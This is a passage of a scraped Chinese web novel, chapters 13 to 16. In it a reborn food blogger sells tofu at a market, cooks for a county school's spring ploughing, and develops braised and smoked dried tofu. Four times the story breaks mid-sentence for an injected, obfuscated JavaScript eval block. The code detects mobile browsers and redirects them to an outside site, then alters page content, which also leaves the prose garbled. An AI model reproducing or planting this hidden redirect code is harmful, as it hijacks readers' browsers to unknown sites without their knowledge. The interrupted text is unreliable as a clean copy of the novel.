于是她更不敢瞎糊弄，还是坚持让他尝了再买，并且一再强调，“如果觉得不合口味，也不用买，当真的。” 她见阿嫂心痛木了的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241208|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一直在对她使脸色。 李卉就当没看到，还是不疾不徐地现烤了两块先给他尝。 纯手工石磨豆腐，用前世的话说的就是，毫无科技和狠活，再蘸上大秦人爱吃的各种蘸料，她还是很有信心的。 果然那人连着吃了两三块后，直接就用自带的碗碟买了两份走。 李卉终于舒了一口气，忙活这大半天，豆腐终于有了进项，一份七钱，两份她还给了些优惠，因为是来买豆腐的第一个顾客嘛，适当照顾是礼尚往来。 李卉掂量着到手的十二钱，心里颇为得意。 “这豆腐，不止可以烤着吃，还可以买回去，加菜加肉煮菜做羹，味道都很好。” 第一个买完离开后，那些往常来买小吃摊上的蒸饼和肉夹馍的主顾们，也都想尝尝豆腐的味道，可瞧着那样子，又不肯再破费买些，李卉便明白了，这是想要蹭吃呢！ 她在心底盘算过，虽然豆腐做了五斤，但带出来的只有不到两斤，方才也还有进账，也不算特别亏本。于是她又站在碳烤炉子旁边，把烤盘重新架起，估摸着面前的人数，再烤了一份的量。 过了不久后，那些吃了免费烤豆腐有脸皮薄的，便说要切二指宽的豆腐回家去，李卉又赶紧跟他说怎么煮，怎么吃，“比如您在鱼肆买条鲫鱼回去，用鲫鱼和豆腐来煲汤，汤就很鲜，鲫鱼肉也会更嫩。” 那人付了钱，道了谢就走了。 因为临近收摊之时，长宁街上的人也逐渐少了些。 但好在石磨豆腐卖得七七八八。连带着那些蒸饼和肉夹馍，也只有她和阿嫂吃完就没有的分量了，这也意味着，小吃摊上新菜品，再次成功。 “小娘子，你这可是卖肉菜蒸饼？” 来人语气虽和善，却也带着一丝疏离。李卉凭着她那点对大秦冠冕服饰的残存记忆，知道来人不是管理市集衙署的官员，就是那个世家大宅的公子哥。 听这语气应是寻味而来。 可李卉都猜错了，那人自报家门，道是县学学宫令身边之人。 李卉正在心中疑问，她何时认识到如此地位显赫的人？ “我那侄子，在仁和布庄做学徒，他前不久到你这来买过一回蒸饼，刚巧那时我又在他家做客，便吃了一个。实话说做得很好吃，所以我这才慕名而来。” 李卉忙道，“谈不上慕名，就是维持生计的小本生意罢了。” 不过，以她的前世直觉，她觉得这位先生来找她，绝不只是为了跟她简单攀谈。 果然，那人身体微微前倾，道出了真实目的： “过几日，县学宫要整体前往农庄忙春耕，农庄上人手不够，小娘子可否愿意协助着做上一日饭食？” 哦哟，这不就是学生春游实践活动，要找厨师给他们保证一日三餐嘛！ 这可是笔大生意，若做成了，酬劳定然不低。 但虽说只是做饭，却也是跟大秦帝国未来的公务员们打交道，也得谨慎些才好。 于是她道：“承蒙不弃，我愿意竭尽全力，斗胆一试。” 14.春耕饭食（上） 她一出言，那人就很是尊重地说：“小娘子切勿妄自菲薄，你的厨艺很好。” 有句话怎么说的来着，最怕的就是突然的关心。此刻这句的含金量还在上升。 正因为素未谋面的看重，她李卉，便下定决心要使出浑身解数，打赢这场仗。 她的小吃摊很小，但机缘巧合被看见了，那就要让它的口碑更响一点。 这次的春耕饭食，便是最好的机会。 可阿嫂与她不同，回家的一路上都惴惴不安。 因为自古民不与官交，她更担心的是，万一做得不好被迁怒和连坐，就难办了。 李卉却不这么看，她将自己方才所想，掰开揉碎讲给阿嫂听。 听得她一愣一愣的，“卉娘，果真有你说的那么好？” “那是自然”，李卉毫不犹豫的点头再次给了阿嫂信心，“放心嘛，阿嫂，那人吃过我们做的肉夹蒸饼，只要我们当日不出错，就能赚一笔比摆摊更多的钱。” “卉娘果真聪慧，阿嫂信你。” 李卉回到家中时，脸上的眉飞色舞藏都藏不住。 未等到晚饭时，她便从绣房跑到后院的蚕房，去找阿娘。 却见阿娘正一张一张地往笸箩里铺桑叶，这是阿娘除了织布之外的另一项大事。等过些日子，蚕抽丝剥茧，司农监上门，就又是一大笔进项。 “卉娘，何事如此高兴？”果然情绪是会传染的，见女儿如此高兴，蚕宝宝们又长得又肥又壮，阿娘的心情也很好。 “县学宫要在安县南郊春耕，要我去给他们做春耕饭食呢！” 晚食时，阿爹也回来了，他正在院子里收拾整理，李卉便飞奔过去，眉飞色舞地又说了一遍。 “都十二岁的人了，稳重点嘛”，阿爹见她风风火火地跑过来，嘴上倒是难得地嗔怪了她一句。结果听她说完后，立马又改了口：“好！好！值得高兴！” 能去给官家做饭，这于平头百姓来说，实在是大喜事一桩。 饭桌上的话题已经从材料准备谈到了要把织布换来的钱，拿去给她买一身衣裳。 李卉知道无论哪个时代，普通人赚钱都不容易，所以她并不打算让阿娘这样做。 “阿娘，我是去做饭，又不是去游园，就还是稍微平整些的旧衣服即可，不然弄得油头垢面的，新衣裳我还舍不得穿呢！” 她这样说得在理，阿娘便没再说什么，想了想却又补了一句： “也好，那就等你忙完了，咱们去仁和布庄挑两块料子，做衣裳。” 见她又要拒绝，这次阿娘却没有给她机会： “病了那么久，好了后我们又一直忙活，别担心家里，早就该给你做套衣衫了。” 李卉乖乖地道了声好，阿娘又说，“阿眉也辛苦，到时候你们姐妹俩一人一身，谁都不要推辞。” 阿嫂却执意不肯，说自己已嫁做人妇，穿什么用什么都不打紧，“卉妹将来两三年后就要相看许人家，才正是打扮的时候呢。再说了我要买衣衫也不用阿娘拿钱。” “谁说女子嫁了人就不兴穿戴啦？快快收回这些话吧。” 阿娘正一碗水端平，阿嫂也只好依了，李卉却又忙忙摆手： “我还小呢，哪里就要相看说嫁娶啦？我要和阿嫂和爹娘长长久久在一块儿呢！” “哎，你这孩子，可又是胡说”，阿娘拿起筷子就拍，但嘴角却是带着笑的。 李卉却并没有胡说，只是她这些想法都是前世里的记忆。 大秦的人一时不能接受也没事，反正她先搞钱就对了。 说起搞钱，李卉就有使不完的劲。 原本学宫那人想的是让她和阿嫂同去，可学宫春耕第一日又恰好是市集日。 个体户，摆一天摊就赚一天的钱。阿姐也不想就这么错过，于是她就主动揽下来了，说是从前阿娘忙着织布时，她也一个人出过摊，现下也是一样。 于是李卉也就不好勉强，便主动跟梁记粥铺的老板多拿了三个白面纯瘦肉夹馍，好让他能答应将小吃摊的炉子并炭盆一起放在铺子里，这样阿嫂单独行动时就能少背一些。 而至于学宫春耕那边，倒要比照看自己家小摊要更省心一些。直说什么都不用准备，人过去就行。 昨日回家前，那人已随身带着刀笔，将李卉说的材料所需都记了下来。 学宫春耕是在十日后，刚好还能出三次市集。 虽然阿嫂说让她歇着，可李卉还是想能帮一点是一点。 因为时常往市集来，所以城门守卫几乎每次都能碰到。这里当然也包括公子幸。 “阿卉，你发现没，这两回好似都没见到那日来小吃摊上买吃食的那个人了？” 城门威严，阿嫂又胆小，都走了好长一段路，她才小声地说出自己的疑问。 李卉闻言，还往后头望了一眼，阿嫂赶紧扯了扯她的衣角，“快走，别乱看。” 哎，还是前世好啊，虽然大秦的百姓过得还不错，但是也太不自由了，连看个守城官都要偷偷摸摸的。 不过，李卉也想明白了，前世大火的那个清宫穿越剧里，男主对女主说的那句话，“既来之则安之”，于是她道：“知道了阿姐，无妨的，反正与我们也无关。” “那倒也是”，阿嫂道，“不过上次那个公子幸倒还面善，若是我们跟他相熟，以后在这市集上倒也能有些便利之处……” 李卉自然是懂得这个道理的，并且她一开始也有这个心思。 但慢慢小吃摊有了些起色，而且现在马上又能承办一场春耕饭食，她就又想靠自己的自信，怎么说也是前世的美食博主呢，她就不信不能在大秦活得风生水起！ 于是她道，“阿嫂，无妨的，我们靠自己也行的。快些走吧，今日有些晚啦！” 十日后，等她如约到了安县南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246535|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郊的学宫耕田那边，才发现，要想给一群口味挑剔的学生们做饭，也是一件很难的事情。 虽然面粉管够，肉管够，可后厨那些老师傅们的“眼神刀”却让她极度不适。 一个个自打她进后厨起，那质疑和打量的眼神就没停过。 也难怪，李卉不着痕迹地耸了耸肩，在这个不大不小的后厨操作间里，一共也就四位厨师，其中还包括一个她。 跟那些须发皆白的人站在一起，李卉也没想明白，为何自己撞了这狗屎运。 不过，这也没什么，厨师的金手指不仅仅是做饭吗？ 能在闹市之中被发掘，那证明还是有些手艺在的。 这样自我攻略完后，李卉便放下芥蒂，轻松上阵，准备大干一场了。 学宫的春耕按照安排是两日，一日来一半的学子。 别看只有一半，但也有小三百号人。一开始学宫令过来慰问时，听到说这个县学的规模，李卉还有点惊讶，一个县的学子这么少的人？ 不过一想也对，在古时候能读书的人家，本来就不多啊！ “今天我得打起百倍精神”，她在心里暗暗给自己打气，“一定不要搞砸，这可都是未来的帝国基石呢！” “卉娘，你到这边来”，管事是一个体态丰腴的厨娘，对她态度倒是不错，不像刚进来时的那四个师傅。 李卉就顺水推舟，面色和善地跟着过去，到了自己工作的案台前，就发现自己做肉夹馍和蒸饼的面粉都揉好了面团，再往灶上一看，卤肉也“咕嘟咕嘟”熬着，已慢慢弥散出她熟悉的香味。 “多谢娘子相助。”李卉深深地行了个礼。 人生地不熟的地方，却有如此良善之人，虽然这个叫临娘的管事女子，只说是“顺手的事”，却叫李卉铭感五内，差点把她的眼泪都要逼出来。 看管事的如此，那几个势利眼总算收敛了些，也愿意和她同在一个屋檐下做饭。 却不曾想是想来“偷师”的—— 一个叫理的老师傅最先开口：“小娘子，你这肉夹馍可有何秘方？” “你这老家伙倒是一副好盘算，人家卉娘第一次来做饭，学宫令严令你我打探，是需要我这就去告知于他吗？”临娘没给好脸色，也算是恩威并施，这番话后，那几个各怀心思的人就消停了。 李卉自己内心倒是无所谓，她揉面擀面都不避人，很是坦荡。 因为她也不过是打了一时间差，但是在线下此地，面上却不想这样无私了，因为她和家人和小吃摊都要靠这个活下去。 可她脸上却一直平和如旧，主打就是一个沉浸式工作，等交了差拿了钱就走人。 谁会跟钱过意不去啊？如果有，那就是钱拿得太少了。 而之前那人来小吃摊前找她那日，就已经说了“做一天饭结算一天的工钱”，那么为了日暮时拿到这笔钱，她也要好好完成今日的任务呢！ 15.春耕饭食（下） 人一忙起来，时间就过得飞快。 因为是为了给这帮学子们春耕提供伙食而临时搭建的后厨，不过就是一个棚子。 密封性本就不太好，饭菜的香气还有炊烟便一早就飘向那些“馋虫”肚子里去了。 离暮食的时刻越近，李卉就觉得外头越是喧闹嘈杂。 她正在烤豆腐，自然是没有闲工夫去听外头的人说话。 却也拦不住，耕作完了的学子们，一个二个的探头探脑啊。 “咦，这回还来了个颇为美貌的小娘子！” 另一个接过话头：“是呢，这还是学宫头一回找了外头的人来做饭呢！” 这两个人说话声音很难让她听不到，因为他们几乎是都到了棚子跟前几步路，却被一个军士的声音截住了，“后厨重地，严禁围观！” 豆腐被她翻了个面，快要烤出焦边儿就成了，吃的时候蘸上些酱料，保准好吃。 “真是哪个时代都一样，出来干啥都不重要，关键是要吃好。” 她不禁想起前世自己学生时代的每次春游、秋游，其实路上的风景都不怎么关心，一路上叽叽喳喳的全都是“今天带了什么吃的”。 千呼万唤的暮食终于开席。 郊外条件简陋，后厨做的所有饭食都一字儿排开放在几张条凳上。 常见的是豆饭藿羹，寻常百姓家拿来当主食的，学宫里的夫子们便亲自上阵，站在条凳背后给学子们分发。 最后学宫令也和夫子们一人要了一碗霍菜羹，“农事，国之本也，望诸生切记。” 然后学宫令便挥一挥手，让他们自行取拿食物。 又谆谆告诫一番，道是“不可奢侈浪费”。 李卉系着围裙，站在卤肉釜旁，等待着鱼贯而来的学子们。手边虽然忙碌，心底却是笑着的，因为她在这些学子们喝霍菜羹的苦瓜脸上读出来了不情不愿。 仔细一想也能理解，这些学子们家里的条件在整个安县都数一数二，在学宫里每日吃豆饭藿羹也就罢了，好不容易春耕一回，又听说换了厨子，谁还不想尝点新鲜的呢！ 这不，他们直接掠过了几位老师傅们做的汤饼，蒸饼和烤肉，径直朝她而来。 “小娘子，来一个肉夹馍，多加点卤肉汁！” “小娘子，我只要卤肉，可以吗？” “小娘子，你们家有食肆或店铺吗？这么好吃的烤豆腐，去哪里找你买呢？” …… 李卉心里说了一句，“真是清澈良善的大学生啊！” 因为同时一两百人蜂拥过来，李卉有些吃不消。 她找了临娘来帮她切卤肉，又请师傅们帮她分发肉夹馍和蒸饼，还有专门只吃麦饭的，她也让临娘舀一勺汤汁。 而她自己则专心致志去守着炭，不一会儿便端一盘新鲜的烤豆腐过来。 很快，预备好的饭菜已经快要见底，正当她想尽快收工回家的时候，学宫那边的管事过来了，就是上次在市集上跟她谈生意的那个人： “小娘子，可否再做一些，除了学子们，还有今日前来相帮的军士们还没吃……” 李卉揉了揉酸胀的胳膊，却并没有出言拒绝。 出门在外，就没有白吃的饭和白做的事。再说了，就算没有，就当是答谢罢了。 答谢他能在那日的市集中，来找自己做这一顿饭食。 创业初期，谁不是夹起尾巴做人呢？ “夫子，可劳烦您去问问，他们可有何忌口？若没有，我就凭着心意随便做了！” 跟前世一样，出门就喊“老师”，李卉把这一招也学了过来，却见那人一听到“夫子”，脸上肉眼可见地笑出了褶子，“无碍的，无碍的，只不过，军士们的口味可能都偏重一些，小娘子细心又聪慧，来日必日进斗金……” “多谢夫子吉言”，李卉也笑了，却真正笑的是，是人都爱听好听的，真是千穿万穿，马屁不穿啊。算起之前公子幸，说她日后会“日进斗金”的，已是第二回了。 临娘得了那位夫子的令，本来是学子们吃完她就该和老师傅们一起去吃的，但却主动说来帮忙。老师傅们也很有眼力见地，风卷残云般吃完，又钻进了棚子。 李卉便顺势问起了，为何一个县学的春耕，还需要军士来护卫。 “小娘子有所不知”，临娘洗好了手，准备帮她和面，预备着再做二三十个蒸饼和肉夹馍来，“这是历年惯例了，一来是护卫学子们安全；二来就是学子们正经是做不了多少农活的，有时候军士们一日下来倒更出活些。” 如此一说，李卉便知其中深浅啦，难怪要管人家一餐饭呢。 李卉自然也就知道为何那位夫子要点名让她做。 大概就是新鲜吃食都受学子们欢迎，而寻常吃食自然不能拿来款待功臣。 她不反对再做些肉夹馍和卤肉，老师傅们又在马不停蹄地腌肉上烤盘，她把放才剩下的一点豆腐，全都切成了小块，拜托给了那位之前嚼舌根最厉害的师傅理。 “小娘子你……” 师傅理眼里满是疑惑，意思是你怎么如此不藏私？ 烧烤要想烤得好吃，除了用料好之外，还需要掌握炭火的火候，如果要想和方才李卉亲自烤得一样的味道，那么她就必须亲自上阵，把诀窍都告知他。 “无妨的，无妨的”，李卉自有自己的打算，“且不说天下厨司是一家，就说这烧烤的手上功夫，各位前辈要比我厉害多了，我不过是献丑罢了，各位叔伯还请不要说我拿腔捏调，指使你们干这干那才好呢！” 她无意间学了个那位夫子的口头禅，如此一来，老师傅们再次联想起今日一早自己的种种心思，都各自摸了摸鼻尖，一门心思煮卤肉的煮卤肉，切菜蔬的切菜蔬，烤豆腐的烤豆腐，还有一个也正在灶门前烧火呢！ 腾出手来，李卉终于开始思考，自己还要做点什么来。 农庄上养的兔子，夫子着人送来了五只，她做了个一兔三吃：冷吃兔肉，手撕兔腿，五只最后足有二十来斤，应当是够了。 方才新鲜做的豆腐没剩下了，却还有些泡过没有上磨的黄豆。 临娘见状，便又过来帮忙。 说是帮忙，实则也是是想看看她是怎么推磨怎么磨粉又是怎么把豆腐做出来的。 “这回咱们不做豆腐了，做豆花，劳烦阿临姐帮我往灶里再加一把柴，烧旺些。” 话音刚落，除了在烤豆腐块的那位理师傅，其余的都过来围着，帮忙添柴的添柴，烧火的烧火，还有把陶盆放石磨嘴边准备接粉浆的呢。 “这磨好新奇，小娘子如何做的？” 这可是她大哥做的，现下大哥不在，她不能将这门手艺轻易就讲了出去。 自然，这石磨是她阿爹一早送她过来的时候，哼哧哼哧一路背过来的。 于是她便礼貌地笑笑，并没说出石磨的其中关节。 众人一看，也就不好再继续追问。 做豆花只比豆腐少最后一个“压”的流程，自然要比豆腐更软和些，也更有豆味的香气，口感也更顺滑。前世有咸口和甜口之分，她自己就好甜口的。 所以等豆花在釜中煮熟后，她便自己舀了几勺到碗中，再淋上两勺野蜂蜜，入口之后，豆香和蜂蜜的甜充斥口腔，给了她味蕾的极大满足。 于是她招呼临娘和几个师傅也来尝尝味，同为厨师，自然都有同好。 有了她这句话，他们各自舀了再按照自己的口味淋上酱，吃得心满意足，只等夫子那边派人过来传话，把做好的菜都端出去即可。 大家也都默契地没有了一早相见时暗流涌动的剑拔弩张，后厨内十分和谐。 一刻钟后，夫子便派了人来。 李卉和临娘是女子，其他四人便几乎全部揽下了搬出搬进的重活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253558|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学子们先行归家了，军士们吃相虽粗鲁些，但胜在人少，也不怎么喧哗。 李卉和临娘一个负责舀卤肉一个负责舀豆花，不消半个时辰，就均已见底。 再一瞥那装兔肉的三个盆，连小吃摊上不怎么卖得动的兔头，都空空如也。 她想起那位夫子说的，果然是重口味啊！ 几个人耐心地等他们吃完，收拾完，接下来就是等学宫这边拿今日的工钱啦。 不过趁这个空档，她又大起胆子做了个决定，想过去随便找个人问下方才饭菜的口味如何，学子们都走了，那就还有谁在就问谁吧！ 这就类似于前世去餐馆里吃了饭，服务员拿着某点评网的二维码让你扫码送甜品或果汁一样的操作。只不过，她今日没准备随赠的小食，那就明日再补上吧！ 军汉们大都是直肠子，有啥说啥，李卉都一一谢过，并跟他们承诺往后来小吃摊上买吃食，都会比旁人便宜一钱。 “小娘子还惯会做生意呢！”说话的是一个看上去像这一队人马的头儿。 她不由得竖起身上的汗毛准备迎战他的揶揄，却看他笑得朴实又真诚，一双脸晒得黝黑，也就不计较了，别人的夸赞，她是相当值得的。 依稀看过去，还有几个相熟的面孔。 等李卉再看时，就看到公子幸在一堆人中，正狂啃兔头的残骸呢。 “幸公子，您是爱吃咸口还是甜口的豆花？” “啊？”公子幸碍于领导和同僚在场，全然没有当日来她摊子上买吃食的游刃有余，“我？我吗？甜口的更好吃些，若是除了蜂蜜还能再有点别的酱就更好。” 嗯，这个意见是用心提了的。 李卉谢过，又跟各位方才回答她的军汉们远远地行了一礼，以示谢意。 这日回去时，她不仅从夫子那领到了六百的工钱，还顺理成章地得到了第二日的膳食邀约。 头一日做的豆花，第二日继续上，这次不光是军汉们有的吃，也做了学子们的份；同时她还突发奇想，把学子们在田间地头摘的野菜，做成了一个个的春卷，也颇受大伙儿喜爱。 两日下来，刨去给爹娘和阿嫂的部分，她自己能剩下近三百钱呢！ 而且这两日阿嫂也是独自出摊，届时一分，应该也有些进项，赚钱是真的好啊！ 不仅如此，因后厨是临时的，两日春耕结束后，厨房里余留的一些食材碗碟，学宫那边都让他们几个师傅们拿走。 卉娘心道确实是一件大好事啊，不过她年纪最小，资历最浅，自然是等临娘他们几个拿完了剩下的才是她的。绕是如此，她也捡了一些留下的时兴菜蔬，还有些杯盘碗碟，反正拿回家用，当是够了。 但最后等所有人走了，那夫子还单独给了她一个红封。 李卉掂了掂，怕是有两百钱呢！ 不仅如此，见她独自一人在路口等她阿爹来，本来那一波军汉都走到前面的长亭了，却又远远地见一个黑影朝她走来，等近了一看，却是公子幸： “我们头儿让我过来送你一程……” 李卉明白过来，嘴上道着“感谢”，行动上却拒绝了，“阿爹一会儿便来了……” “没事的，这是军令，况且扶困济弱也是我们应当做的嘛！” 看来她便是那个“弱”，不过李卉也想得通，所谓的大女主不是一味地只靠自己，能有枝可依，就再去做自己，也会更有底气嘛！最关键的是，自己的内核要稳。 “那就多谢你了”，李卉随即感叹道，“今日真是我的幸运日啊！” “以后你来小吃摊，我再给你便宜一钱……” 走了一段路后，她远远地见阿爹来接她了，一高兴，扯着嗓子就许诺。 一来二去，就是两钱啦。 公子幸站在原地，看着少女雀跃的背影，喃喃道，“看来还是我比较幸运啊……” 16.豆腐干 做完县学宫的春耕饭食后，李卉又结结实实在家歇了几日。 但也不是完全歇着，家里养的几笸箩蚕快要吐丝了，除了小吃摊，养蚕也是家里的经济命脉，一点也马虎不得。 阿娘接的单子也不少，一匹布的单价也长了不少，于是负责照料蚕宝宝的重任便落在了歇息的她身上。 李卉想起前世学过的一篇课文，说的是一位作者的母亲，每次都半夜起来点着煤油灯，给蚕们喂桑叶。 现在这样的场景又在大秦安县的平安巷李家宅院中上演。 只是这一次，夜里近乎于摸黑喂蚕的人是她。 好在这样的极限工作并不会耗时太长，到四月初时，所有的蚕都上树作茧，等着官府派人上门来收购蚕茧，也就三五两日内的事情。 以至于后来蚕茧被全部收走，李卉年内再也不用起夜喂蚕，反倒还有点不习惯。 阿娘看着她那一双黑眼圈深重的脸，说什么也要把之前不肯买的新衣裳买了，还不是去仁和布庄买的布，家里才卖了布匹和蚕茧，有好大一笔现钱进账呢！ 这回李卉并没有推脱，都说是人间四月天，天气好，日头好，出门也要穿好耍好，自己日后摆摊也是需要“人靠衣装”的嘛！ 有了新衣裳，李卉便迫不及待要和阿嫂一起出门摆摊。 不知道是不是她的错觉，感觉在市集的西南角这块儿摆摊这么久，自打她去学宫做了趟饭食，回来后发现来光顾她家小吃摊的人，穿的衣裳都比之前的阔气。 一来就指明要她摊上的肉夹馍和豆花，再一看三三两两的都是青涩稚嫩少年模样，旁边或有仆役背着书箱或是自己手提着书橱，李卉心明眼亮，一想便是那日春耕饭食后，学宫的学子们前来照顾生意的。 “也不知他们是如何寻来的？”李卉见银钱进账，心情大好。 “我敢说咱们的肉夹馍是独一份”，阿嫂提起这个心里就满是骄傲，“你有所不知，前些日我独自摆摊，便早早地有人来问，这里是不是卖肉夹馍的……” 大概就是那两日，学子们轮流放假，第一日吃了肉夹馍的他们，第二日去不成农庄，便想方设法要到县城市集里来买吃的。 长宁街的市集又远近闻名，这一来二去不就把她的小摊给打探出来啦？ 李卉不得不感慨，人类为了美食穷经皓首，踏破铁鞋，这分执着看来是炎黄子孙基因里带的吧。 不过，肉夹馍和春卷倒是可以多做些，豆花却不敢。 自打回来后，李卉在家中也做过几次豆花，阿嫂也很爱吃。 只是她不大理解为何要少做豆花，李卉便耐心地给她解释： “豆花娇软，稍微一压就没了品相，客人看到豆腐渣败了食欲不说，还觉得我们不讲究，还容易影响我们小吃摊好难才慢慢积攒出来的声誉呢！” “也是”，阿嫂听明白了，“我们做一小盆，仔细伺弄着，客人们吃着也新鲜！” “还能吊他们的胃口呢！”李卉再把话讲得更明白些。 其实最直接的原因还有一个，那就是豆花要比肉夹馍的单价整整贵五成，而县城里有钱的人并不多，她这个小吃摊的主顾多半都是寻常人家，所以在菜品的选择上就会靠这个方向去有所取舍。 能赚钱自然是好，目前连个正经店面都没有，她还是不想太多惹眼。 慢慢苟着，是她目前最大的心愿。 爹娘也很赞同她的这个做法。 “虽然我们都说是人都当自立，但阿卉你毕竟是家中最小的，我们都不愿你太过操劳。起早贪黑的，若你想歇那便歇上一两日，左右是自家小吃摊，怎么都行。” 李卉虽然听了心里觉得甚是感动，可一刻也没有停下来。 “既然豆花不成，那就做成豆腐干来卖。” 这不是她一拍脑门的决定。 一来是豆腐干就比做石磨豆腐多一个压得更紧实一些的步骤，她现在做起豆腐来已经轻车熟路，做起来并不费力；二是豆腐干饱腹感强，更符合大秦目前黎民百姓的饱腹需求。 果然，下一次市集时，她的小吃摊上摆出来的香卤豆干成了C位。 她早就预料到是这样的结果。因为这是她在家中琢磨出来的—— 市集上专门有卖卤料包的，里头有八角、茴香、桂皮、草果等七八种香料，李卉拿手一掂，再用鼻子凑近一闻，判断是货真价实的，当即就买了五包。 店主见她付钱爽快，还特意赠送了她一包。 经商之人果真七窍玲珑心肠，前世的买五赠一，穿越过来后她又享受了一遍。 卤料包买回去，再把阿爹猎回来的山鸡剁了熬成上好的原汤，和着炖煮。 等卤汤烧好后，她再将豆腐干放进去。只消半个时辰后，豆腐干便吸饱了卤汁，颜色也分外正宗好看。前世的她是个香香嘴，没想到在这里她还能凭着自己的手艺把豆腐干复刻成功，不得不说，还是有些许小骄傲在身上的。 她把卤豆干做好以后，把巴掌大的方形豆干切了一盘，成小丁状，先让家人尝了个鲜。阿爹直接吃得丢了筷子用手拿，还直说要在下地干活的时候带上一两块整的，李卉建议他直接啃，切都不用了，这样更显豪爽。 结果日暮归家时，阿爹还带了一两家的订单回来： “阿卉啊，今日在田中，一起做活的好几家老哥和老丈都来问我这是何物。我告诉了他们之后，还颇为大方地掰了一两小块让他们尝了尝，这不，立马就要我第二日去地里时，给他带过去呢。” 李卉听出了阿爹话中的悔意，估计是掰的两小块太大了些，果然，“阿卉啊，明日我还是按你说的办，随身带把小刀，防身倒是不用，专拿来切豆腐干吧。” “行。”李卉强忍笑意，这可是老实巴交的阿爹第一次带回订单，她嘴上一通夸，夸得阿爹都不好意思起来，“我也没帮上多大忙，不过也证明阿卉的卤豆腐干做得是真好吃呢。” 李卉索性就大起胆子比着肉夹馍的量多做了些。 在市集上，自家摊位前，她摆了一张用两块豆腐干向梁记粥铺借来的一张条案。 上头是一个碗口大的小簸箕，里头是供过路客人免费试吃的豆腐干小丁。 条案离阿嫂负责的卤肉较近，这免费的豆腐干便自然是她看着的。 阿嫂如今也不像刚摆摊那会儿，也不去计较免费试吃会让主家多心痛了，因为李卉告诉过她，“要给顾客们尝到点甜头，能买得更多，咱们自然就赚得更多啦。” “真的能免费吃？” 一开始，大家都不信。但一日之中，总有那么些脸皮厚的，过来吃了，有买也又没买的，但总体上她还是赚了钱的。这就够了呀，李卉给自己打气。 后来她便又增加了烟熏豆腐干。卖得也不错。 有同行过来探头探脑，想要知道这烟熏豆腐干的独门秘笈。李卉自然是不肯说啦，俗话说“人不为己，天诛地灭”，研发新的口味，可是小吃摊的立身之本，再遇到这样的人，她便也不好发作，只一味地“装聋作哑”，脸上都快笑僵了： “无他，唯手熟尔。” 可也只有她自己知道，这个所谓的手熟，背后的付出有多少。 烟熏豆干比卤豆干手法更复杂一些。 要先把成型的石磨豆腐切成方块，再撒上盐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259999|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，均匀地放在一块麻布上，麻布底下垫上草木灰，以作吸干水分之用。 最后一步才是用木炭进行烘烤，中间还要不停翻面，防止烤糊和烤焦。 如此一番折腾后，再是熟练的用炭火烘烤。不过因为豆腐块比豆腐干量大，阿嫂和阿娘又没有做过这样的新鲜物什，所以只能她自己亲力亲为。 烟熏豆腐干比起卤豆腐干来说，多了一股柴火的香味。 所以试吃时，就比卤豆腐干更有市场。两个小簸箕分别装了不同口味，但烟熏的总要先空。李卉看出了大家的喜好，又做了豆腐干丝，专门拿来蘸酱也很好吃。 食客们听说能蘸酱，这可是戳到了他们的心巴上。 一时间，连老东家梁记粥铺都派了人来，说要订上一批豆腐干。 因为那些食客们看到粥铺门口的小吃摊，被摊上的香味所吸引，纷纷都要端着粥铺的碟子，过来买上一份豆腐干佐餐。更有阔气的，吃完后还要顺手打包两个肉夹馍走。 说不眼红是假的，生意红火得粥铺老板进进出出，都要扫她两眼。 李卉知道自己的处境，夹起尾巴做人是她来到大秦后的第一生存法则。 于是她趁着粥铺老板递来的订单“梯子”，就坡下驴地给了个成本价。 一块豆腐干四钱，如果切成豆腐干丝可以做三个小碟子的份量，但是她给梁记粥铺的是两块才五钱。 粥铺老板果然满意，一顿饭的功夫便就定了下来。 “往后你每日逢集，就给我送十斤过来，这是契书，你拿好。” 一斤豆腐干约三块左右，十斤也就是三十块，三十除以二就是十五，十五乘以五就是七十五钱，所以老板提前给了一半的钱。都还是一个月的量。 